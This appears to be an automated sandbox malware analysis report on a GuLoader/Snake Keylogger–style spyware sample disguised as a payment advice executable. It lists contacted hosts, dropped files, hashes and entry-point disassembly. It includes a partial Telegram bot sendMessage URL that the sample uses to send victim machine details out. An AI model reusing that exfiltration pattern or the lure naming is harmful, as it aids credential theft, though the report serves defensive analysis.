https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034D1D000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034C45000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034C1A000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034AA1000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034AEB000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034A76000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:841675%0D%0ADate%20a	PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.0000000033AA5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034C8C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore?hl=enlB	PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.0000000033B7D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org	PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.0000000033A0E000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.0000000033AA5000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.0000000033A7E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://4jjxew.dm.files.1drv.com/oft	PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000003.1946432969.00000000033E5000.00000004.00000020.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000003.1946338383.00000000033E5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034D1D000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034C45000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034C1A000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034AA1000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034AEB000.00000004.00000800.00020000.00000000.sdmp, PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034A76000.00000004.00000800.00020000.00000000.sdmp	false		high
https://4jjxew.dm.files.1drv.com/	PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000003.1946338383.00000000033E5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.00000000339C1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4202735548.0000000034C8C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org/xml/	PayeeAdvice_HK54912_R0038704_37504.exe, 00000002.00000002.4201423308.0000000033A0E000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.43.12	l-0003.l-dc-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
132.226.8.169	checkip.dyndns.com	United States	16989	UTMEMUS	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
188.114.96.3	reallyfreegeoip.org	European Union	13335	CLOUDFLARENETUS	false
37.27.123.72	foodex.com.pk	Iran (ISLAMIC Republic Of)	39232	UNINETAZ	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1559227
Start date and time:	2024-11-20 10:24:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	PayeeAdvice_HK54912_R0038704_37504.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/5@6/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 98% Number of executed functions: 173 Number of non-executed functions: 146
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 13.107.42.12
Excluded domains from analysis (whitelisted): odc-dm-files-geo.onedrive.akadns.net, odc-dm-files-brs.onedrive.akadns.net, l-0003.l-msedge.net, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, common.be.1drv.com.l-0003.dc-msedge.net.l-0003.l-msedge.net, dm-files.ha.1drv.com.l-0003.dc-msedge.net.l-0003.l-msedge.net, ctldl.windowsupdate.com, odc-commonafdrk-geo.onedrive.akadns.net, odc-commonafdrk-brs.onedrive.akadns.net, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: PayeeAdvice_HK54912_R0038704_37504.exe

Simulations

Behavior and APIs

Time	Type	Description
04:25:35	API Interceptor	7987486x Sleep call for process: PayeeAdvice_HK54912_R0038704_37504.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.43.12	709876765465.exe	Get hash	malicious	DBatLoader, FormBook	Browse
	DHL119040 receipt document,pdf.exe	Get hash	malicious	Remcos, DBatLoader	Browse
	y0w04xGM45.exe	Get hash	malicious	PureLog Stealer, XWorm	Browse
	20240506_120821.bat	Get hash	malicious	Remcos, DBatLoader, PrivateLoader	Browse
	https://1drv.ms/f/s!Ah3RUujFpGTrbZcZBXk_HMFtmRQ	Get hash	malicious	Unknown	Browse
	https://1drv.ms/b/s!Ao0MJo7V0XYGhEsXFxT9icP5E89J	Get hash	malicious	Unknown	Browse
	https://1drv.ms/b/s!AisItIFTqa7WxVoBq8jnSh6FMqc_?e=bIfn69&d=DwMGaQ	Get hash	malicious	Unknown	Browse
	PIN.exe	Get hash	malicious	AveMaria, DBatLoader, UACMe	Browse
	CHI-TAK_ELECTRICAL_SDN_BHD_Pdf.exe	Get hash	malicious	GuLoader	Browse
	https://onedrive.live.com/?cid=439efe283be9e2f1&id=439EFE283BE9E2F1!109&ithint=file,pdf&authkey=!AP0eXrsAQvsyWoM	Get hash	malicious	Unknown	Browse
132.226.8.169	Xkl0PnD8zFPjfh1.wiz.rtf	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Ref#501032.vbe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	GD7656780000.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	01831899-1 FDMS3008SDC.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	PO NO170300999.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	INQ02010391.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	z25Solicituddecotizacion.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Transaction_copy.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	DHL Delivery Invoice.com.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Bank Swift Copy 2.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	Quote document and order list.exe	Get hash	malicious	GuLoader	Browse	188.114.97.3
	new order #738833.exe	Get hash	malicious	GuLoader	Browse	188.114.97.3
	FACTURA A00072-24.- TPC CORPORATE EVENTS SL - PILAR FORGA.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	114117914 - Rebound Electronics.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	#U5ba2#U6237#U9000#U6b3e#U7533#U8bf7#U8868-SUPERLEON NOVIEMBR.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	BOQ and Full Specification.exe	Get hash	malicious	GuLoader	Browse	188.114.96.3
	Request for Quotation MK FMHS.RFQ.24.11.20.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	MB267382625AE.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	Quote specification and BOQ.exe	Get hash	malicious	GuLoader	Browse	188.114.96.3
	QUOTATION_NOVQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
api.telegram.org	Quote document and order list.exe	Get hash	malicious	GuLoader	Browse	149.154.167.220
	new order #738833.exe	Get hash	malicious	GuLoader	Browse	149.154.167.220
	FACTURA A00072-24.- TPC CORPORATE EVENTS SL - PILAR FORGA.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	114117914 - Rebound Electronics.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	#U5ba2#U6237#U9000#U6b3e#U7533#U8bf7#U8868-SUPERLEON NOVIEMBR.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	BOQ and Full Specification.exe	Get hash	malicious	GuLoader	Browse	149.154.167.220
	Request for Quotation MK FMHS.RFQ.24.11.20.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Quote specification and BOQ.exe	Get hash	malicious	GuLoader	Browse	149.154.167.220
	e-dekont_html.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	REPLY TO NOTICE GST DRC-1A_pdf.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
l-0003.l-dc-msedge.net	709876765465.exe	Get hash	malicious	DBatLoader, FormBook	Browse	13.107.43.12
	XCc5WuJdF7.exe	Get hash	malicious	Zhark RAT	Browse	13.107.43.12
	Transfer copy.lnk	Get hash	malicious	FormBook	Browse	13.107.43.12
	DHL119040 receipt document,pdf.exe	Get hash	malicious	Remcos, DBatLoader	Browse	13.107.43.12
	y0w04xGM45.exe	Get hash	malicious	PureLog Stealer, XWorm	Browse	13.107.43.12
	20240506_120821.bat	Get hash	malicious	Remcos, DBatLoader, PrivateLoader	Browse	13.107.43.12
	https://1drv.ms/f/s!Ah3RUujFpGTrbZcZBXk_HMFtmRQ	Get hash	malicious	Unknown	Browse	13.107.43.12
	https://1drv.ms/b/s!Ao0MJo7V0XYGhEsXFxT9icP5E89J	Get hash	malicious	Unknown	Browse	13.107.43.12
	https://1drv.ms/b/s!AisItIFTqa7WxVoBq8jnSh6FMqc_?e=bIfn69&d=DwMGaQ	Get hash	malicious	Unknown	Browse	13.107.43.12
	PIN.exe	Get hash	malicious	AveMaria, DBatLoader, UACMe	Browse	13.107.43.12

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	Quote document and order list.exe	Get hash	malicious	GuLoader	Browse	149.154.167.220
	new order #738833.exe	Get hash	malicious	GuLoader	Browse	149.154.167.220
	FACTURA A00072-24.- TPC CORPORATE EVENTS SL - PILAR FORGA.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	114117914 - Rebound Electronics.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	#U5ba2#U6237#U9000#U6b3e#U7533#U8bf7#U8868-SUPERLEON NOVIEMBR.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	BOQ and Full Specification.exe	Get hash	malicious	GuLoader	Browse	149.154.167.220
	Request for Quotation MK FMHS.RFQ.24.11.20.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Quote specification and BOQ.exe	Get hash	malicious	GuLoader	Browse	149.154.167.220
	e-dekont_html.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	REPLY TO NOTICE GST DRC-1A_pdf.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
UTMEMUS	new order #738833.exe	Get hash	malicious	GuLoader	Browse	132.226.247.73
	114117914 - Rebound Electronics.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	Quote specification and BOQ.exe	Get hash	malicious	GuLoader	Browse	132.226.247.73
	REPLY TO NOTICE GST DRC-1A_pdf.exe	Get hash	malicious	Unknown	Browse	132.226.247.73
	REPLY TO NOTICE GST DRC-1A_pdf.exe	Get hash	malicious	Unknown	Browse	132.226.247.73
	Xkl0PnD8zFPjfh1.wiz.rtf	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	Company catalog profile.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.247.73
	Ref#501032.vbe	Get hash	malicious	MassLogger RAT	Browse	132.226.8.169
	Quote GVSE24-00815.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.247.73
	Payment_transaction.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.247.73
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://c9amf220.caspio.com/dp/3ba5e0002add93b7ba4f4d22b51d	Get hash	malicious	Unknown	Browse	150.171.28.10
	https://github.com/bambulab/BambuStudio/releases/download/v01.10.01.50/Bambu_Studio_win_public-v01.10.01.50-20241115162711.exe	Get hash	malicious	Unknown	Browse	13.107.42.16
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	13.107.246.60
	Salary 2025- workers-v1.xls	Get hash	malicious	Unknown	Browse	13.107.246.42
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	PO-000041492.xls	Get hash	malicious	Unknown	Browse	13.107.246.45
	Credit_DetailsCBS24312017915.xla.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.45
	Payment Advice.xls	Get hash	malicious	Unknown	Browse	13.107.246.45

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	Quote document and order list.exe	Get hash	malicious	GuLoader	Browse	188.114.96.3
	new order #738833.exe	Get hash	malicious	GuLoader	Browse	188.114.96.3
	FACTURA A00072-24.- TPC CORPORATE EVENTS SL - PILAR FORGA.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	114117914 - Rebound Electronics.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	#U5ba2#U6237#U9000#U6b3e#U7533#U8bf7#U8868-SUPERLEON NOVIEMBR.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	BOQ and Full Specification.exe	Get hash	malicious	GuLoader	Browse	188.114.96.3
	Request for Quotation MK FMHS.RFQ.24.11.20.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	MB267382625AE.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	Quote specification and BOQ.exe	Get hash	malicious	GuLoader	Browse	188.114.96.3
	QUOTATION_NOVQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
3b5074b1b5d032e5620f69f9f700ff0e	Quote document and order list.exe	Get hash	malicious	GuLoader	Browse	149.154.167.220
	new order #738833.exe	Get hash	malicious	GuLoader	Browse	149.154.167.220
	order and drawings_pdf.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	FACTURA A00072-24.- TPC CORPORATE EVENTS SL - PILAR FORGA.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	114117914 - Rebound Electronics.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	#U5ba2#U6237#U9000#U6b3e#U7533#U8bf7#U8868-SUPERLEON NOVIEMBR.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	BOQ and Full Specification.exe	Get hash	malicious	GuLoader	Browse	149.154.167.220
	Request for Quotation MK FMHS.RFQ.24.11.20.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	sostener.vbs	Get hash	malicious	Remcos	Browse	149.154.167.220
	file.exe	Get hash	malicious	LummaC	Browse	149.154.167.220
37f463bf4616ecd445d4a1937da06e19	Quote document and order list.exe	Get hash	malicious	GuLoader	Browse	13.107.43.12
	new order #738833.exe	Get hash	malicious	GuLoader	Browse	13.107.43.12
	FACTURA A00072-24.- TPC CORPORATE EVENTS SL - PILAR FORGA.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	13.107.43.12
	#U5ba2#U6237#U9000#U6b3e#U7533#U8bf7#U8868-SUPERLEON NOVIEMBR.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	13.107.43.12
	BOQ and Full Specification.exe	Get hash	malicious	GuLoader	Browse	13.107.43.12
	Quote specification and BOQ.exe	Get hash	malicious	GuLoader	Browse	13.107.43.12
	Towered.vbs	Get hash	malicious	FormBook, GuLoader	Browse	13.107.43.12
	globe_product_order_korea_buy_20_11_2024_000000000000000000.vbs	Get hash	malicious	GuLoader, Remcos	Browse	13.107.43.12
	file.exe	Get hash	malicious	Unknown	Browse	13.107.43.12
	file.exe	Get hash	malicious	Unknown	Browse	13.107.43.12

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nsj38E6.tmp\System.dll	Conchoids12.exe	Get hash	malicious	GuLoader	Browse
	Korrekturlsning.exe	Get hash	malicious	GuLoader	Browse
	Conchoids12.exe	Get hash	malicious	GuLoader	Browse
	Korrekturlsning.exe	Get hash	malicious	GuLoader	Browse
	rTransferenciarealizada451236.exe	Get hash	malicious	GuLoader	Browse
	rTransferenciarealizada451236.exe	Get hash	malicious	GuLoader	Browse
	Purchase Order Purchase Order Purchase Order Purchase Order.exe	Get hash	malicious	FormBook, GuLoader	Browse
	Purchase Order Purchase Order Purchase Order Purchase Order.exe	Get hash	malicious	FormBook, GuLoader	Browse
	MG-Docu6800001.exe	Get hash	malicious	GuLoader	Browse
	Fac.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne\Dolkestikket\Nocturia.Alm

Download File

Process:	C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe
File Type:	data
Category:	dropped
Size (bytes):	485186
Entropy (8bit):	6.965893397905805
Encrypted:	false
SSDEEP:	12288:IHHpi/LHcbVnlU5SVrzhPM5NCY1yLEQAFE:WwLHQmQPhPIN1yQvFE
MD5:	C1DCE21C05B5C7536D922DB34D4D266F
SHA1:	45D8E7A0A4292B63D79A781A16C99EFC08E39538
SHA-256:	6DBD32027504C2495B0B413FAE33BECA412E4C25DE9AB0CE5F2B42F9A75D2506
SHA-512:	A4F0641E9F522941202021AE55AA46FFFF61B6E62E78F82EA2F9677075A156297E2D588CED29DC3C1485CC628EF01470114388FDA6A9BE8D8B94D6D66BFE0DF7
Malicious:	false
Reputation:	low
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne\Dolkestikket\Sipunculoidea.ude

Download File

Process:	C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe
File Type:	DIY-Thermocam raw data (Lepton 2.x), scale 0-12, spot sensor temperature 0.000000, unit celsius, color scheme 0, calibration: offset 0.000000, slope 649037107316853453566312041152512.000000
Category:	dropped
Size (bytes):	286686
Entropy (8bit):	1.2536158727628404
Encrypted:	false
SSDEEP:	768:3zbnVKpXfwz53wppkaub35azZSECekyln9KUXjJrv5YQ1ujVNDYb3ezsIhWCUiSL:KH4hI9iE3sLB9pXYzlkOYFWf9
MD5:	99A5E2E2953D0374F1E23FF8B0B6773F
SHA1:	5FC3F9C3638DD60012AB2F2ECDD016912BBDB9F3
SHA-256:	3D1233CB89AD10CCC6972697279A3741F6031E05D32738E9B34D37A230C0F84A
SHA-512:	1B002C12EAB187B0246483C5F3B0758DC84BCC884E1120A17B0412DFD349972DB5DA04E154AE21D405BA33BBD0C29AADFA7D1BF4D50347146D6DFCCBBD8DA94A
Malicious:	false
Reputation:	low
Preview:	.........................................\|.........................F........................................................S..............................S.................................................................8....;........................^........................)......"..Y........B................d......................}.........i......................................9.....................................R...............]............................................................I.........u..................................j.....^.....................................................................W..................................................................................m......................................*.....................>..........O........[................................................B............................}..../...............................[.......?.............................Z..#.........................4...............................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne\Dolkestikket\moccasins.ved

Download File

Process:	C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe
File Type:	data
Category:	dropped
Size (bytes):	73531
Entropy (8bit):	1.2569404898190384
Encrypted:	false
SSDEEP:	384:dVICOgr5CpPXeGASSCorJvHtPvpwqcQ+5pPZg71l4oLuZK52Oc410+RaL7VomsEa:dVcPX7U1R9mPZgx1hn32+emD40rd
MD5:	22148562A5A87FF1BECCAE5E77D87142
SHA1:	D1B04F09ACFC146855AA02A8C530AA8A45DF3F24
SHA-256:	B09EF713D0920E9671DA35332C6DAE7C1E12BE409A7077D6CA3E07938F9C08E9
SHA-512:	3F96B2ABED75C8EA941E45BB3835EF4D5FC92C5C5F829A738641FD398D88BB838E7C22A0F5F998BF387A5CE4ADC77EECAA049BCFB1A9ADD476871C871D58E811
Malicious:	false
Reputation:	low
Preview:	......................................................................................x..........................\|........................................l...................a.........................................U.....................k..........................................G..................................................................\|.....b....................O...R..........n...................&.....................l..................!.......6......... ......S.......................................}........................................7..................................................................................................................................................B......#......b....................60........?.....z.......>..........................:..............%..l...........g...........................=D.....{.....................................&........................{.......................i..........................................5.]............

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne\Dolkestikket\sporostrote.dip

Download File

Process:	C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe
File Type:	data
Category:	dropped
Size (bytes):	220203
Entropy (8bit):	1.262001836842358
Encrypted:	false
SSDEEP:	768:EBCX3JLNVpAeI+EgywY0Szqqv3ib1RuU7thllrhAKF3+O1jaJgMH8JHuHR6qTSIT:EkLjwqF1z1MoqyH
MD5:	F8A828CA56113806A25802FF2AF74282
SHA1:	B016C4258BD1F9A19989E0C6B7AB993ED02DF96F
SHA-256:	95941451FFB946693877FBD721001ACC32FE70D75EA68CAB1756B3ADF77DCFF4
SHA-512:	6725AA09040FAC962CCFF2EF9897FB6F3F3706FE60D8C55A69CB9E0C21362B3C8C186C573D647C0A50438686D6035361A4A20138C451E641D507BD1218D1E079
Malicious:	false
Reputation:	low
Preview:	...................................................@......................................................................<....................................................O....../..........T.....................................i................................................................,.......................t.....................t.................................{!...................................................................................................X..........s.............@.............C....2................................-..............................w..............................................................H....................I........."..................C.................a................p...6.......................'......................................................................................%.............................x.................Q...................................z..........................i....hv...x.................`..........c.

C:\Users\user\AppData\Local\Temp\nsj38E6.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11776
Entropy (8bit):	5.890541747176257
Encrypted:	false
SSDEEP:	192:X24sihno0bW+l97H4GB7QDs91kMtwtobTr4u+QHbazMNHT7dmNIEr:m8vJl97JeoxtN/r3z7YV
MD5:	75ED96254FBF894E42058062B4B4F0D1
SHA1:	996503F1383B49021EB3427BC28D13B5BBD11977
SHA-256:	A632D74332B3F08F834C732A103DAFEB09A540823A2217CA7F49159755E8F1D7
SHA-512:	58174896DB81D481947B8745DAFE3A02C150F3938BB4543256E8CCE1145154E016D481DF9FE68DAC6D48407C62CBE20753320EBD5FE5E84806D07CE78E0EB0C4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Joe Sandbox View:	Filename: Conchoids12.exe, Detection: malicious, Browse Filename: Korrekturlsning.exe, Detection: malicious, Browse Filename: Conchoids12.exe, Detection: malicious, Browse Filename: Korrekturlsning.exe, Detection: malicious, Browse Filename: rTransferenciarealizada451236.exe, Detection: malicious, Browse Filename: rTransferenciarealizada451236.exe, Detection: malicious, Browse Filename: Purchase Order Purchase Order Purchase Order Purchase Order.exe, Detection: malicious, Browse Filename: Purchase Order Purchase Order Purchase Order Purchase Order.exe, Detection: malicious, Browse Filename: MG-Docu6800001.exe, Detection: malicious, Browse Filename: Fac.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qr.5.D.5.D.5.D...J.2.D.5.E.!.D.....2.D.a0t.1.D.V1n.4.D..3@.4.D.Rich5.D.........PE..L.....oZ...........!..... ...........).......0...............................`............@..........................2.......0..P............................P.......................................................0..X............................text............ .................. ..`.rdata..c....0.......$..............@..@.data...x....@.......(..............@....reloc..~....P.....................@..B................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.756409764392069
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	PayeeAdvice_HK54912_R0038704_37504.exe
File size:	582'048 bytes
MD5:	62134cc34c58682721cb5bd2a9ba3624
SHA1:	a650b3507161f8d705b183db6a965307d95625f4
SHA256:	6d7f0587ad61a77009ec4d739d3ffd3f74e0ab8a572913812bef6b8c2b89ea54
SHA512:	60de740c1ab5cd301a41a0ea483bbef28e3005acd73d61e808a0510cc95e746f25b18f39503110b80e5834275df9d1702639f0ed7ba90fadeba7809a9a9a4a82
SSDEEP:	12288:32EITCKwUDsCypz+ZfyimdUTPhBDJxqmd3ZhZq:3wTKUDvypKJyihTj7qmdPZq
TLSH:	DDC4E150F18DE8D7E52725B18C6FD930159BBA5C95F8520E329A7A1A68E3343206FF0F
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........!`G.@...@...@../OQ..@...@..I@../OS..@...c>..@..+F...@..Rich.@..........................PE..L.....oZ.................d....:....

File Icon


Icon Hash:	38206a6a62666429

Static PE Info

General

Entrypoint:	0x40336c
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x5A6FED1F [Tue Jan 30 03:57:19 2018 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	b34f154ec913d2d2c435cbd644e91687

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push esi
push edi
push 00000020h
pop edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+14h], ebx
mov dword ptr [esp+10h], 0040A2E0h
mov dword ptr [esp+1Ch], ebx
call dword ptr [004080A8h]
call dword ptr [004080A4h]
and eax, BFFFFFFFh
